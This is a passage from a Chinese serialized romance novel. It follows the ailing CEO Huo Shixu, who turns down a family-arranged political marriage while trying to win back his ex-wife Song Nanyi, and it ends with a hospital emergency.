他检查了一下里面的东西,倒也没有少什么,也不是什么重要的东西。
便也没再追究。
但公司里有内鬼,是板上钉钉的事情。
“说什么了?”
“乔译有意与霍家联姻,向老爷子发出了邀请,给出的交换条件十分的诱人,差不多是霍氏十年规划的总和。”
这确实十分诱人。
但霍家就霍时序一个男的。
难不成要他去联姻?
“爷爷怎么说?”
“老爷子亲自打来电话说,让您晚上去老宅一趟,想必应该是说这件事情的。”
霍时序猜到了。
老爷子向来重视霍氏的发展。
这几年,自己一直被伤病困扰,在霍氏的发展上,确实不如从前。
父亲霍明达在忙什么,他也不知道。
头疼。
他捏着眉心,许久,像是想起了什么,“哦对了,小核桃中毒这事,查的怎么样了?”
“还没有眉目。”江淮摇头。
没查出来,他就没法给宋南伊一个交代。
始终是心事。
霍时序咳嗽了两声。
江淮忙递了手帕给他,“霍总,您今天去医院,没有去查一下肺子吗?”
“查了也是那样,当年吸入太多的毒气,我的肺早已经坏了一半,另一半至于什么时候罢工,看天意吧。”
医生说,好的话,他还能活三到十年。
够了。
他不怕死。
他只想死前,和宋南伊复婚。
让她在他死后,名正言顺地继承他所有的财产。
也可以让小核桃,有一个光明正大的身份,将来担起霍氏的重任。
而不是落到顾南风,那个私生子手里。
“那个……遗嘱怎么样了?”
“差不多已经起草完毕,法务团队那边,再细化一下,就可以拿来给您看。”江淮倒了杯水给霍时序,“霍总,您还是要去看一下肺子的,您这样不是给了太太希望,又偷偷的给了绝望吗?”
绝望。
不至于。
宋南伊对他的感情,没那么深。
如果真的能再活十年。
他可以安排好一切的身后事。
不少了。
当年,他以为自己活不了的。
上天已经够眷顾他的。
“谈不上,我现在不是很好,你不提这事,我都给忘了,我现在啊,只需要配合宋南伊把腿治好,再努把力,将她重新追回来,我的人生也算是圆满了。”
霍时序的话很轻松。
江淮就是听的很悲伤。
眼睛,肺,腿,脊椎,还有心脏,霍时序身上健康的地方并不多。
值吗?
……
傍晚的时候。
霍时序给宋南伊打了个电话,“一会儿去接你下班。”
那头也没有拒绝。
只是说,“要晚一点。”
“好,我等你。”
车子开到宋南伊工作室楼下的时候。
是六点三十分。
这个时间,许久未在他的世界里出现过了。
前世,他和宋南伊刚结婚那会儿。
他会天天傍晚的六点三十分,准时出现在这儿。
他通常会给她买一份小小礼物。
有时是一杯她爱喝的口味奶茶。
有时是一束简单的玫瑰花。
每次透过车窗,看着她欢快的冲他飞奔而来,他的心都被填的满满的。
他们会旁若无人的接吻。
甚至会在车里做更亲密的事情。
那时他们,真的好爱好爱。
什么时候变的呢。
他记不太清了,但就是变了。
等了将近一个半小时。
熟悉的身影终于出现,他几乎是立刻推开了车门,拄着拐杖站稳。
暮色微沉,路灯亮起,将每个人的影子都拉得很长。
他不知道多久没看过,她走向他的样子。
风拂过她的发梢,她抬手别到耳后,优雅从容。
江城人人都说宋南伊美得独一无二,再也找不出替代品。
这样的她,他曾经拥有过,却弄丢了。
宋南伊抬眸看他。
也不知道他在傻笑什么。
“以后,不用来接我,我自己可以回家。”
今天是特殊情况,她没有开车。
以后不会。
霍时序浅笑,温柔的替她打开车门,“没事,反正我也闲着。”
她淡淡瞥了他一眼。
没说什么。
车子一路往老宅开。
宋南伊认出路来,不解的问霍时序,“要回老宅吗?”
“爷爷让回去吃饭。”他说。
宋南伊对司机说,“小张,前面路口停下,我下车。”
“你陪我一起。”
“我又不是霍家人。”
她不想去,霍家人也不会欢迎一个离了婚的媳妇,再跟霍时序纠缠不清。
像霍时序这样的身份。
又是单身的状态,霍家应该为他规划了许多。
她没必要去找一个莫须有的不痛快,“前面停车吧。”
霍时序看她坚持,便也没勉强,“小张,先把太太送回家吧。”
“好的,霍总。”
车子调转方向,驶向他们的别墅。
夜色渐浓,车内一片沉寂。
老宅打来的电话催促。
霍明达的声音在安静的车厢内显得格外清晰。
“时序,联姻的事情,你大概已经知道了,抓紧过来,爷爷有话要说。”
每一个字都清清楚楚。
宋南伊不由的多看了霍时序一眼。
旋即,目光转向窗外。
霍时序想开口向宋南伊解释什么,电话那头的声音还在继续。
这时,车子已经驶抵别墅门前。
没等电话说完,宋南伊已经推开车门,头也不回地走了进去。
第151章 逼他选择
霍家老宅。
今天到的人格外的多。
不仅霍明达和孙爱芸在,连三十年来,不准走进霍家大门的顾南风,竟然也在。
孙爱芸的脸色,像覆了层乌云。
身子稍稍往外倾斜,像是在抵抗着什么。
霍时序意识到,今天会发生一些事情。
巍然不动的面色中,稍稍有了丝不确定。
“爷爷。”
“时序啊,先坐下来,爷爷有事要与你商量。”
霍时序弯身坐到了所有人的对面。
在霍正诚开口前。
霍时序先动唇,矛头指向顾南风,“我不懂,他为什么在这儿?”
“今天的事情,可能与他有关。”霍明达阴着脸说。
孙爱芸听得来气。
她跟了霍明达二十几年,没得到名分,她忍了。
他还把私生子带到面前。
这跟把那个女带到面前,有什么区别?
“霍明达,要是那个女的不死的话,是不是,你打算迎接他们娘仨进门啊?”
“好了。”
霍正诚发声。
所有的质疑,都无疾而终。
场面又安静下来。
霍正诚开始说正事,“乔译有意跟我们霍家联姻,你们也知道,乔译现在身居高位,他很可能会竞选总统,一旦他竞选上了总统,那对于我们霍家的意义,不言而喻。”
他把凌厉的视线,落到了霍时序的面上,“你离婚一年多了,也该正儿八经的找个人了,乔家最得意的也是你,你的意思呢?”
面上看起来是问询意见。
实则是逼他接受。
霍时序没说话。
霍正诚当他是在思考,给了他十分钟的时间。
“你放心,就算你以后娶了乔译的女儿,你的儿子也是霍家的嫡子长孙,爷爷自有安排。”
像是要将,霍时序的后顾之忧全部解决。
但他依然没有给出答复。
霍明达有些急了,开口就指责霍时序不懂审时度势。
“乔译那是将来要做总统的人,人家主动提出与霍家联姻,这是给咱们霍家面子,而且还不嫌弃你结过婚,有孩子,身体这样,你就该偷着乐了,你到底在犹豫什么?”
霍时序拧着眉心,抬头看向他,“这么好,你娶得了。”
霍明达气闷。
听听,这是说的什么话。
“爸,我看这机会,时序要是不要,就给南风吧,好歹他也算是霍家的人,况且,我听他讲,前段时间,他还曾经帮助过宋南伊,给那个小核桃治过病,他是真正一心一意向着霍家的人。”
霍明达有些沉不住气。
其实,他不必这么急的。
霍时序不可能答应联姻。
让霍正诚主动问寻霍明达的意见,好过他毛遂自荐。
老爷子有些反感。
霍家的规矩,私生子不准上门,不能进祠堂,更不能姓霍。
要打破这个规矩。
他这把老骨头,得去祠堂跪个三天三夜,求得列祖列宗的原谅。
霍正诚将视线又落到了霍时序的面上,“时序,你现在是霍氏的总裁,理应为了霍氏,为了霍家肝脑涂地,如果你现在没离婚,爷爷自然就辞了这事,你现在也是单身,最合适不过。”
霍时序依然沉默。
霍明达又急了,“你同意就说同意,不同意就说不同意,老不说话,我们怎么知道,你是怎么想的?”
“爷爷。”
霍时序面上是从未有过的严肃。
“我还爱着南伊,我还想把她追回来,别人,我暂时不考虑。”
字不多。
但一字一顿地说出来,就是坚定到,没人可以撼动。
霍正诚大发雷霆。
拐杖拄着地面,砰砰地响。
“你想把她追回来,那她愿意回到你身边吗?如果她不肯呢?你也要等她回心转意?霍时序,你是霍家的儿孙,不能只贪恋儿女情长,你要为霍家考虑,为大局着想。”
霍时序起身。
将霍正诚当年交给他的,霍氏祖传的雕刻着祖先名字的玉佩,交了出来。
“如果,爷爷觉得我不配当一个霍家子孙,我可以卸任霍氏总裁一职。”
他自己活几年,都不知道。
做霍氏总裁的这些年里了,他从来没有做过自己。
他不想有遗憾。
哪怕,被霍家逐出。
顾南风看着这块梦寐以求的玉佩,眼底闪着贪婪的精光。
霍家所有霍时序唾手可得的东西,对他都有着致命的吸引力。
他恨不得,现在马上抢过来,据为己有。
可他不能,也不敢。
他恨吗?
从他知道自己是霍家的私生子。
不会拥有霍家一切继承权时,他就恨的要杀死所有霍家人。
可他还要仰仗霍明达。
还要靠他才能真正的走进霍家。
他除了隐忍,没有别的办法。
机会这不就来了。
指尖不由自主地伸了过去,又恢复理智,紧紧的蜷起。
霍正诚看着霍时序交上来的玉佩,抬手就扇了他一个巴掌。
“混账东西,你就这么不负责任吗?你是想把我气死是不是?”
霍正诚捂着胸口。
大口大口的喘着气。
陈伯一看不妙,赶紧拿了药让他服下,“老爷子,有话好好说,跟孩子生什么气呢。”
“爸,南风也是霍家的孩子,这些年来,他一直很争气,要不,您给他机会?”
霍明达问的小心翼翼。
霍正诚闭起眼睛,“一个私生子,有什么资格。”
“爸,您老糊涂了,乔家这次联姻不成,不仅失去了这么个靠山,说不定,他还会报复我们,到时霍氏要承受的压力,可想而知,南风他从小听话,我已经跟他讲了,他说他愿意为了霍家,接受联姻。”
霍时序淡淡的看了顾南风一眼。
他挺淡定的。
似乎一切尽在掌控。
也是。
一个私生子,就算入不了霍家的族谱,能傍上未来总统,那真是升天了。
但前提是,霍家得承认他姓霍。
压力给了霍正诚。
老爷子身体不爽,没说同意,也没说不同意,在陈伯的搀扶下,下去休息了。
事情暂且搁置。
霍明达气不顺的,又开始指责霍时序,“你说你,以前是个恋爱脑,还说得过去,毕竟年轻,这都三十岁了,还恋爱脑,那宋南伊就那么好?要是真如此地舍不得,当初不离不就得了。”
“你懂什么叫爱情吗?霍明达,像你这种人,根本不知道爱一个人是什么滋味。”
孙爱芸早就不爽了。
碍于老爷子在场,她没法发作是真的。
“时序再不着调,他始终爱着一个人,你呢,把蓝旗气疯,把小三熬死,又把我困在身边二十几年,你害了三个女人,你知道吗?”
孙爱芸再也忍不了了。
天知道,没名没份的,她怎么忍这么久的。
“霍明达,我要离开霍家,离开你,永远永远,我都不会再回来。”
第152章 先把血咽下去
“你就别跟着胡闹了。”
霍明达瞧她的眼神,透着对她不懂事的训斥。
孙爱芸也不知道哪来的勇气,走到霍明达的面前,抬手就给了他一个耳光。
“霍明达,这是你欠我的,从此以后,我们就是故人,我再也不会为了霍家所谓的面子,继续留在你身边,再见。”
孙爱芸转身就走。
霍明达嘶了一口,紧跟着追了出去。
“你给我站住,站住……”
偌大的客厅,只留下了霍时序和顾南风两个人。
霍时序不屑与他一起。
拄起拐杖,要走。
顾南风开口叫住了他,“大哥,跟乔家联姻的机会,千载难逢,你真的不要考虑一下吗?”
霍时序凝眉。
侧过脸来,睨向他。
“谁是你大哥?”
顾南风耸了下眉梢,轻笑,“何必那么较真呢,兄弟同心,其利断金,我不跟你抢,我就捡一点,你不要的边边角角,别对我敌意这么大。”
霍时序冷呵。
他抬起金属的手杖,底部的冷硬,重重的抵住顾南风的胸口,“我不同意,你连边边角角也拿不去,顾南风,给我儿子吃假药这事,我可没忘,帐我慢慢跟你算,别急。”
顾南风抬手投降。
眼底却尽是挑衅的笑,“好的,大哥。”
现在的顾南风,有些猖狂。
他似乎已经断定,联姻,非他莫属。
以霍时序对霍明达的了解,他不可能主动提及,让顾南风代替自己联姻。
这事在老爷子那儿,是大忌。
一定是顾南风苦苦哀求,动之以情,晓之以理,说不定,还搬出那个死去的妈。
那顾南风是从哪里得到的消息呢?
这份文件是保密的,而且送到了霍氏。
江淮说文件袋被打开过,难不成,霍氏里真有顾南风的眼线?
看来,他得好好查查。
……
从老宅回到家,已经渐深夜。
宋南伊搬来住,但不跟他一个房间。
晚上睡觉的时候,她也会锁门。
霍时序握着门把手,转了一下,没转动,苦笑。
便转身去了书房。
指尖的烟,吸过一口后,便一直在自己燃烧。
医生跟他讲过,他不能再吸烟。
他没听。
不是故意跟医生作对。
也不是拿自己的命不当回事,而是有些烦恼,不点根烟,根本就解不了。
他本就不是一个自洽的人。
现在更严重。
宋南伊半夜起来喝水,看到书房里透出灯光,便走了过去。
霍时序就坐在书桌前。
望着外面的漆黑发呆。
医生说了让他好好休息,他是一句也没有听进去。
“大晚上的,你不睡觉?”她推开门,问他。
霍时序回神,将指尖燃烬的烟蒂,丢进手边的烟灰缸里。
有些抱歉的笑笑,“马上睡,你……怎么起来了?”
“喝水。”她轻描淡写的,“早点睡吧,这两天要做手术方案,要保持好的身体状态。”
“好。”
兴许是起的急。
他手中的拐杖打了滑,整个人就那么直愣愣的摔了出去。
“砰。”
摔倒的姿势有些狼狈。
宋南伊惊了一跳,急忙过去搀扶他,“怎么不小心一点,慢一点,搂着我的脖子。”
在二人的共同努力下。
霍时序这才缓慢地站起,活动了一下。
鼻子破了,有血涌出。
宋南伊拿了药箱,就着昏黄的灯光替他处理。
“坐下。”她低声数落,用沾了酒精的棉球,小心擦拭他鼻周血渍,“看吧,大晚上的不睡觉,这就是报应。”
微凉的触感刺激下,他下意识缩了一下。
她垂眸,专注,长长卷卷的睫毛,在灯光下投出阴影,缱绻,温柔。
身上淡淡的幽兰花香,一个劲的往他的鼻子里扑。
更致命的是,她俯身时,丝质睡衣的领口下,一片细腻的肌肤若隐若现,正好落进他的视线里。
刚被压制住的鼻血,变本加厉地又涌了出来。
“霍时序,你不会是有白血病吧?怎么一点凝血功能都没有?”她有些急了,捧住他的脸,强迫他仰起头,“止不住就先把血咽下去,别呛着。”
他胡乱抽了纸巾塞住鼻孔,声音闷闷的:“没病,就是上火了。”
“上火了就多喝水。”她转身要去给他倒水。
却被他扣住手腕,轻轻的拽进怀里。
胸膛有些滚烫,两层薄薄的睡衣,根本就无法隔断,这暧昧的温度。
“南伊。”
他嗓音低哑得厉害,眼底翻涌着她熟悉又心慌的欲望,“别防着我。我一个人睡不着,我们一起睡,好不好?”
他的手臂环在她腰间,收得很紧。
仰着脸的表情下面,是卑微的乞求。
“不好。”
她拒绝,试图用强硬,掩盖心跳漏掉的那几拍。
他没放,将脸紧紧的靠在她的胸口,“南伊,别拒绝我,我会伤心的。”
“霍时序,你别没完没了的,赶紧去睡觉。”
她想推开他,奈何力气有限。
不仅没让他放开,还得寸进尺的越搂越紧。
“够了霍时序,三更半夜的,你发什么情?”
“就是发情了,压不下的那种。”
他握着她的后颈,仰着脸去吻她的唇。
来势汹汹,像一场暴风雨。
他想说,他想跟她回到从前,回到最相爱的那个时候,可他说不出口,他们回不去了,他知道的。
不知道是触动了哪根心弦。
他掉泪了。
宋南伊推开了他,“霍时序,你哭了?”
“可能是……我们之间,太久……”他自嘲着,望着她的眼睛,喉结滚动,“……南伊,我们还能回去吗?回到我们最幸福的那个时候。”
她怔了怔。
心口泛酸。
兴许是经过太多。
她早没了霍时序的感性。
“有些遗憾是挽不回的,就算是挽回,也已然变了味道,霍时序,你懂的。”
“就当是为了小核桃,我们试着生活一段时间,也不行吗?”
小核桃多渴望一个家。
他们为人父母,自然感受最深。
宋南伊犹豫了。
做了妈妈的人,如果一再自私的考虑自己的感受。
一定是对孩子造成的影响的。
他握着她的小手,在掌中摩挲着,“我不要名分,不要你的承诺,就像普通的夫妻一样的生活,我们把小核桃接回来,我们一家三口,开开心心的过一段时间,你觉得好吗?”
她当然知道,被父母的爱滋养下的孩子,无论是心理还是生理都会是健康的。
可她现在还顾不上,感情这档子事。
而,今天听到了霍家要为霍时序联姻的事情。
他没给解释。
却在这儿要跟她和好。
她是没多少心情的。
“先把你的腿,治好再说吧。”
第153章 庆幸离开你
宋南伊的日子过得很单调。
上班,陪霍时序治腿,周末接小核桃放学。
两点一线。
只有小核桃在的时候,家里才会有欢声笑语。
路姐跑进来,说,“太太,老太爷来了。”
霍正诚?
宋南伊愣神的功夫。
老爷子已经在陈伯的搀扶下,走了进来。
小核桃没见过霍正诚。
偷偷的躲到了宋南伊的身后,扒着大大的眼睛,好奇的打量着。
“我听说小家伙前段时间病了,一直也没有空出时间来看望一下。”霍正诚冲着小核桃招手,“小家伙,我是太爷爷,过来我看看。”
小核桃有点怕他。
没往前,反而躲的更深。
“别怕,太爷爷不吃人,过来。”
小家伙依然没动。
宋南伊转过身来,轻轻的跟小核桃说,“去跟太爷爷打个招呼,要有礼貌。”
“哦。”
小核桃乖巧的走到霍正诚的面前,怯生生的,“太爷爷好。”
“你是核桃对吗?大名叫什么呀?”
“我叫宋云礼。”
霍正诚的眉心一紧,声如洪钟般不满,“怎么能叫宋云礼呢?”
小核桃吓着了。
嗖的一下跑到妈妈的身后躲了起来。
霍正诚看向宋南伊,责怪道,“南伊,这就是你的不对了,这孩子是霍家的种,怎么能姓宋呢?马上把名字改成霍云礼。”
宋南伊没答应,也没有反对。
眉眼淡淡的,“爷爷,您过来是有什么事情吗?”
老爷子屏退了所有的。
只留下了陈伯在场。
“爷爷过来,确实是有些事情,需要你帮忙。”
“南伊,其实,爷爷也很希望你和时序再走到一起,但是时序现在的情况,你也是知道的,腿不好,腰也不好,眼睛更是……爷爷知道,你一直没答应跟他复婚,也是因为身体的问题,对吗?”
宋南伊不解霍正诚的用意。
没回答,静静的听他把话说完。
“你嫁进霍家这三年,爷爷从未亏待过你,你现在生下了爷爷的重孙,爷爷很感谢你,你是霍家的功臣,也是霍家的骄傲,可惜,你和时序就这么的……,爷爷很痛心,很难过,很愧疚……”
霍正诚无声叹息。
透着对宋南伊的肯定和不舍。
宋南伊知道这只是前菜。
他在铺垫什么。
至于什么……她猜,应该跟霍家的联姻有关。
“爷爷,我和时序的事情,您不必纠结和难过,你有什么想说的,就直接讲吧。”
霍正诚重重地呼吸了一口。
一副千言万语,无法出口的艰难感。
“自从时序病的了这一年多时间,霍氏已经大不如从前,可谓是岌岌可危,爷爷痛心啊,可是爷爷老了,心有余而力不足,能做的就是去祠堂跪求祖宗保佑。”
“可能是上天怜悯吧,霍家迎来了一个前所未有的机会,但是这个机会时序不要,南伊,爷爷是请你,帮我劝劝他,以大局为重,以霍氏的百年基业为重,爷爷在这儿求你了……”
说着,陈伯搀起霍正诚就要给宋南伊下跪。
她吓死了。
忙扶住他,“爷爷,这可使不得,您不要这样。”
“南伊,你是个懂事的孩子,你嫁进霍家这三年,爷爷一直很疼爱你,如今,你和时序的缘分尽了,但他还在执迷不悟,爷爷真的没有办法了,请你一定要帮爷爷。”
陈伯立马递上一张银行卡。
和一份霍氏的股权转让书。
“这是爷爷的心意,请你务必收下,否则爷爷不会安心的。”
筹码很重。
目的:让她离开霍时序。
隐晦点说,让她不要挡了霍时序联姻的道,阻碍霍家的发展。
霍家的行事作风向来如此。
她一直以为,霍正诚会是个例外。
看来,并非如此。
宋南伊接过股权转让书,当着霍正诚的面打开,看股权的份额。
比前世的霍明达大气多了。
这次足足给了霍氏百分之八的股权。
换成钱的话,可老不少呢。
“宋小姐,这张卡里还有一个亿现金,足以保障您和孙小少爷的生活,当然,如果您觉得孩子是累赘,影响您日后婚嫁,我们霍家责无旁贷,抚养长大。”
任何一个人。
得到这样些,应该都不会说一个不字。
宋南伊也很想痛快的答应。
但现在的情况,她给不了个这个痛快。
“爷爷的意思,是马上让我离开吗?”她抬眸,平静的望进老爷子的眼底,“我答应过霍时序,要陪他把腿治好,如果我现在离开,他不愿再治病,后果……您如果接受的话,我没有意见。”
霍正诚被将军。
脸色稍微有些难看。
但唇角依然带出一抹笑意,“只要你肯劝时序大局为重,爷爷已经很感激你了,并没有立即赶你走的意思,能以朋友的身份,陪着时序将腿治好,这是最好的,爷爷相信你。”
相信的意思,无非就是宋南伊收了东西,不会反水。
他们想利益最大化。
联姻,治病两不误。
以为花了钱,就可以支配别人的想法。
她确实有点瞧不起这样的作风。
宋南伊笑笑。
霍正诚的目的达到,自然也没有多留。
离开前,他又看了一眼小核桃。
“这孩子长的跟时序小时候,一模一样,我有些恍惚,好像回到了三十年前,岁月不饶人啊。”
带着感叹。
霍正诚离开。
整整一下午,宋南伊都在走神。
霍正诚的明敲暗打的话,带着警告意味的眼神,都令她的心口发寒。
银行卡和股权转让书,就那样明晃晃地躺在茶几上。
直到霍时序回来,一眼看到。
“爷爷来过了?”他拿起股权转让书,只扫了一眼,目光便锐利地投向宋南伊,“你答应他什么了?”客厅的气氛瞬间绷紧。
宋南伊避开了他的视线,语气平淡:“没什么。爷爷只是感谢我陪你治病,给的奖励而已。”
她挑了最表面,最该讲的部分讲。
空气安静了几秒。
她知道,他压根不会信。
但,不重要。
霍时序的眉心拧起,拄着拐杖,走到她的面前,声音沉下,“宋南伊,跟我讲实话,你和爷爷之间,到底做什么交易了?”
“你想多了,以你现在的身家,这些陪护费多吗?”
她没打算要这些东西。
他也不必急着跟她算账。
“霍时序,你放心,你们霍家的东西,我不会要的,照顾你,陪伴你治病,是我宋南伊欠你的,我现在什么也不想聊,治你的腿,放在第一位。”
“你在骗人。”
分明她在说谎的时候,眼睛是会躲闪的。
宋南伊抬眸望向他,笑了,“霍时序,其实我可以跟你讲句实话,你们霍家人,个顶个的都不是什么好东西,包括你在内,你们自私,偏执,永远把所谓的霍家利益放在第一位,真的,我很庆幸,我已经跟你离婚,我很庆幸,我不再是霍家一分子。”
第154章 一次就好
她眼中有陌生而熟悉的恨意。
他本意不是勾起这些。
他瞬间不想去追究了。
只想抱一抱她。
宋南伊躲开了,周身都散发着难以靠近的疏离,“你也累了,早点休息吧。”
“南伊,你是不是误会了什么?”
霍正诚亲自过来。
用意其实不难猜。
无非就是联姻的事情。
又是钱,又是股权,就是让宋南伊离开,不要碍事。
他想解释一下。
宋南伊拒绝了,“没什么误会,我们之间本就没有关系,你的事情,你们霍家的事情,都与我无关,你不需要解释,我累了,先休息了。”
宋南伊没给他机会。
独自上楼,进了小核桃的房间。
路姐看她情绪低落,稍稍劝慰了两句,“老爷子强势一辈子了,有些话,您别往心里去。”
宋南伊浅摇头。
女人在霍家的用处,一直就是这样的。
一枚可以随时放弃的棋子。
过去的自己,现在的孙爱芸。
还有当年的蓝旗。
明明受到伤害的是女人,偏偏离开霍家的还是女人。
在霍家的女人,哪一个有好下场?
她庆幸,她已经不是霍家的人了。
“路姐,我没怪老爷子,他说的也没错,要是因为我,毁了霍家的百年大计,可是罪过,有机会,我会劝劝霍时序,让他好好听爷爷的话。”
“太太,您和先生就真的走不到一起了吗?”
路姐这些年,也看到了霍时序的改变。
人,熟能无过,能改,善莫大焉。
况且,两个人还有一个孩子。
她看得出来,这孩子挺喜欢爸爸的。
宋南伊苦笑。
只是两个人,这段感情都走的很艰难。
现在霍家的人插手,她和他注定是走不到一起的。
“路姐,我和霍时序的缘分就那么多,除了觉得对不起小核桃,我自己……真的没什么感觉的。”
她笑着。
美出天际。
路姐是有些遗憾的。
“不管怎么说,我还是希望您幸福的。”
宋南伊笑笑,“会的,路姐,我们都会幸福的。”
晚餐。
宋南伊没下去吃。
霍时序也没有胃口。
一个坐在房间的飘窗上怔神。
一个在客厅里陪着小核桃,心不在焉的玩。
好不容易,等到把儿子哄睡。
霍时序迫不及待的将宋南伊,拉进了卧室,关上了门。
“南伊,我们谈谈吧。”
她很冷,兴致也不算高,“谈什么?”
“谈我们,谈透,谈出个结果。”他想,他是等不了了,“南伊,我们不要含混其词,不要迂回辗转,不要等将来,等有机会,等慢慢地,我今天就要结果,一个好的结果。”
他承认,他贪心了。
他太了解宋南伊,她不好哄的。
以前他们小打小闹的吵架,他跪好几天,她都消不了气。
她表面越淡然,她的心就无法挽回。
“好吗,南伊?”
宋南伊脸色依然冷冷淡淡的,“我们有什么可谈的呢?霍时序,你应该听爷爷的话,他是为了你好,为了霍家好,为了霍氏百年的基业,爱情可以当饭吃吗?不能的,娶一个对霍家有用的女人,是你当下应该做的,也是你的责任。”
他涩笑。
果然,老爷子过来,就是找她聊这个了。
看来她是听进去了。
“我是恋爱脑,我是你的舔狗,宋南伊,你是的我结,也是我的劫,我就是想要你,这辈子不够,就两辈子,三辈子,上天让我们一起重生,不是让我们分开的,是给我们机会,重新在一起的,你休想抛下我。”
宋南伊平静的看着激动的男人。
他的脸憋的通红。
咳嗽的也很厉害。
她不想与他争吵。
淡淡的,“霍时序,放下过去,也是一种成长,我们都需要成长,我的成长是放下过去的仇恨,你的成长是放下你的执念。”
“可我放不下。”他红着眼,眼泪漫满了眼底,“南伊,你可不可以再坚定的选择我一次,就一次,一次就好。”
他的唇齿,微微颤抖。
泪,终究还是满面。
他如此的卑微,如此的深情。
刺痛了宋南伊心底最软的那个地方。
意难平,是人间常态。
这一世,她不想勇敢了,不想飞蛾投火,不想再经历一些未知的误会和冷落。
“霍时序,重蹈覆辙,不见得是一件幸福的事情,我们都不小了,经历了三世,是应该学着放下一些东西了,
或许在平行宇宙里,宋南伊和霍时序还是相爱的,他们会生几个小孩,他们之间没有猜忌,没有隐瞒,没有所谓的误会,他们很好很好的生活着,这就足够了。”
霍时序摇头。
不。
平行宇宙里的,不是他,
“南伊,别这样。”
不知道是急火攻心,还是病情恶化。
霍时序一口黑血吐出来。
人直愣愣的跪到了宋南伊的面前。
宋南伊吓坏了。
“霍时序,你没事吧?霍时序,你别吓我,你心气怎么这么大,说几句就这样了,霍时序,霍时序……”
霍时序的脑袋耷拉了下去,不知道是死了,还是怎么了。
宋南伊大声叫路姐,“路姐,路姐,马上打急救电话,霍时序要死了……”
路姐一听要死了。
手机都拿不稳,更不提上楼的步子,走三步,退两步,像是在原地徘徊。
“太太,你别怕,我马上打电话……”
宋南伊将霍时序抱在怀里。
抬手擦着他嘴边的血,放声大哭,“霍时序,你别这样,你别吓我,你别死啊……,你要死了,我怎么向霍家人交代,你至于吗?你别死,你醒醒啊……”
“别,害怕,我,没……”
噗。
又是一口黑血吐出来,染红了宋南伊的衣服。
“你别说话了,霍时序,你坚持住,救护车马上就来了,你别死,我求你了,你说什么,我都答应你,你别死,你一定不要死啊……”
霍时序晕倒了。
救护车来时,对他进行了抢救。
留着一口气,送去了医院。
宋南伊没敢给霍家人打电话,先通知了江淮。
抢救室外面。
宋南伊是紧张的,江淮也是心神不安的。
“江特助,霍时序是不是还有什么病啊,他怎么突然就吐血了?你跟我说实话。”
事到如今。
江淮有心想瞒,也觉得找不到合适的借口。
索性就直接将霍时序的病情,告诉了宋南伊。
“当年,他把防毒面具给您戴上,肺里吸入了大量的有毒气体,肺功能一直不怎么好,吐血我也见过几次……”他凝重叹息,“……他不想让您知道,担心。其实,医生说他好的话能活十年,要是……也就三年活头。”
宋南伊震愕在原地。
她以为他的腿是受伤最严重的。
没想到是肺。
那场大火,真的把他给毁了。
第155章 急救室外,混乱不堪
他怎么可以这样?
“我该如何还他呢?”宋南伊悲伤自喃。
江淮一言难尽。
霍时序保护宋南伊,并没有要求过她回报。
也并没有拿着此事要挟她,做一些她不愿意做的事情。
“太太,说句不该说的,你和霍总之间,就算有什么深仇大恨,也该放下了,霍总他这辈子就爱过你一个人,当年他追你的时候,我可是全程的见证者,他从未对一个女人,那样的卑微过……你是这他一生的例外。”
“其实,霍总在当初要给小少爷取心头血的时候,就已经在起草遗嘱了,不瞒您说,那份遗嘱,我看过,大部分都有关于你和小少爷,事事周全,可保百年。”
又是一声浓重的叹息。
江淮的眼眶湿了。
可能宋南伊不稀罕要霍时序的东西。
但他为她谋划的心,毋庸置疑。
“还有联姻那事,老爷子是想让霍总去联姻不假,但霍总并不愿意,为此,他把代表着霍家至高无上权利的玉佩都交了上去。”
“霍总做霍氏总裁这么多年,他也不想把霍氏,就那么白白的交给顾南风,他很矛盾,每晚都要在集团里呆到很晚,才整理好心情回家。”
“其实,霍总也挺难的。”
宋南伊看了江淮一眼。
谁活在这个世上不难?
不过是,难处不同罢了。
抢救室的灯还亮着。
蓝烟搀着蓝旗,步子匆忙地走了过来。
“南伊,江淮!”蓝旗的声音带着喘,几乎是扑到两人面前,“时序呢?他到底怎么样了?”
“夫人,霍总他肺部出了炎症,正在抢救,您别担心,一定会没事的。”江淮上前一步,轻轻扶住了老夫人。
听到‘抢救’二字的蓝旗,眼前一阵发黑,差一点软下去。
“怎么突然就抢救上了?”
蓝旗木然转头,目光盯向抢救室,心口透出隐隐的不安。
“这……”江淮语塞,不知该如何解释。
蓝旗将目光转向宋南伊,焦急:“南伊,你告诉我,究竟是怎么回事?”
宋南伊低下头,声音很轻:“是我和他争执了几句,他可能是情绪太激动了……”
她没办法细说缘由,只能将过错揽到自己身上。
她垂着眼,默默等待蓝旗的责备。
然而,蓝旗只是轻轻叹了口气,语气里没有半分责怪的意思:“这孩子气性还是这么大,怎么就改不了这个脾气。”
一旁的蓝烟瞥了宋南伊一眼,扶着母亲坐下,略显不满地说:“妈,哥都在抢救了,您怎么还……”
“小两口吵架,就能把自己气进抢救室,你让我怎么说他?”蓝旗摇了摇头,语气里透着无奈,“难道只有他生气?南伊就不委屈?你哥总是太强势,得不到想要的就要发脾气,这次就当是个教训吧。”
蓝烟抿了抿唇,不再说话。
她实在想不通,宋南伊到底给蓝旗灌了什么迷魂汤,能让蓝旗始终站在她那边。
急救室外,又恢复了安静。
这次,霍时序的病情,没有想象当中的轻松。
几次病危通知书下来。
江淮不得已,通知了老宅那边。
没过多久,霍正诚和霍明达相继到来。
问过病情后,个个眉眼沉重。
尤其是霍明达,对着宋南伊就是扑头盖脸的怪责。
“你说你,都离婚了,还跑去跟时序一起住也就算了,你还把他气成这样,宋南伊,我们霍家以前对你不薄吧,你这是想赶尽杀绝吗?”
宋南伊沉闷不说话。
他爱骂两句就骂两句吧。
凭良心讲,霍时序出现这样的情况,确实与她有关。
蓝旗看到儿媳妇被欺负,不干了。
一把扯过宋南伊,护了起来,“霍明达,你说的这是人话吗?不管南伊跟时序有没有离婚,他是小核桃的父亲,她气死时序,对她有什么好处?你说话的时候,动动脑子好不好?”
霍明达抬起头,目光沉沉地落在蓝旗身上。
这应当算是他二十多年来,第一次真正地,与她见面。
时光并未在她身上留下太多痕迹,只眼角皱纹深了些,依然美丽温婉。
就是脾气硬了,不再是从前那个低眉顺眼,语带怯意的女人了。
“我看你才是脑子坏掉了。”霍明达的声音不高,却字字冷硬,“现在躺在急救室里生死未卜的,是你的亲生儿子,而你护在身后的……是个杀人凶手。”
他刻意压低了语速,像是要将话都钉进她心里,一字一顿,“疯病染得久了,人果然就不正常了。”
霍明达精准地挑起蓝旗最旧最深的伤疤。
明知她根本受不了这样的刺激,却没留一丝的情面。
蓝旗的脸色骤然。
